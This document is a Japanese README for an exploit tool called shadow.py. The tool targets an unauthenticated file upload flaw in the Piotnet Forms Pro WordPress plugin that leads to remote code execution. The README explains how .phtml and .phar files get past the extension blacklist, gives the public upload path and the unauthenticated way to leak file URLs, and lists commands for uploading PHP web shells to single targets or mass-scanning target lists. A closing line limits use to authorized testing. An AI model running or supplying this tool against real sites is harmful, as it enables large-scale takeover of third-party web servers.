
Piotnet Forms Pro <= 2.1.40 - 未認証の任意ファイルアップロード → RCE
この脆弱性は、piotnetforms_ajax_form_builder 関数における不十分なファイルタイプ検証に起因します。このプラグインは不完全な拡張子ブラックリストを採用しており、php、phpt、php5、php7、exe のみをブロックし、.phtml や .phar などの危険な代替拡張子を許可しています。
AJAX ハンドラーは認証要件なしで登録されています:
// inc/forms/ajax-form-builder.php:9-10
add_action( 'wp_ajax_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
add_action( 'wp_ajax_nopriv_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
ファイル検証は、MIME タイプやマジックバイトの検証を伴わない不完全な拡張子ブラックリストのみに依存しています:
// inc/forms/ajax-form-builder.php:678-688
$not_allowed_extensions = [ 'php', 'phpt', 'php5', 'php7', 'exe' ];
$file_extension = pathinfo( $file_name_san, PATHINFO_EXTENSION );
if ( in_array( strtolower( $file_extension ), $not_allowed_extensions ) ) {
wp_die();
}
// .phar, .phtml, .php8, .pht, etc. all pass through freely
move_uploaded_file( $file['tmp_name'][$i], $new_file );
アップロードディレクトリには、ディレクトリリスティングを防ぐための空の index.html のみが配置されています — PHP の実行をブロックする .htaccess はありません。アップロードされたファイルは、以下の場所に公開アクセス可能な状態で配置されます:
/wp-content/uploads/piotnetforms/files/{filename}-{uniqid}.{ext}
ファイル URL は、piotnetforms_export_form_submission AJAX アクション(これも nopriv)を介して認証なしで取得でき、完全な認証なし RCE チェーンが完成します。
これは CVE-2026-4885 に存在するものと同じコピー&ペーストによるバグです — 両方のプラグインは、同じ開発者による同一の脆弱なアップロード処理コードを共有しています。
対話モード:
python3 shadow.py
単一ターゲット:
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shadow.phtml
大量スキャン:
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shadow.phtml
CLI オプション:
-u, --url - ターゲット URL-f, --file - ターゲットファイル(1行につき1つ)-s, --shell - カスタム PHP シェル(GIF89a が自動的に先頭に付加されます)-t, --threads - 同時実行スレッド数(デフォルト: 5)-h, --help - ヘルプの表示piotnetforms_export_form_submission による URL 漏洩(認証なし)shell.txt に保存.php .phpt .php5 .php7 .exe
バイパス可能な拡張子: .phtml .phar .shtml .php8
pip install httpx
本ツールは、許可されたセキュリティテストおよび教育目的にのみ使用されることを意図しています。無許可のシステムテストは禁止されています。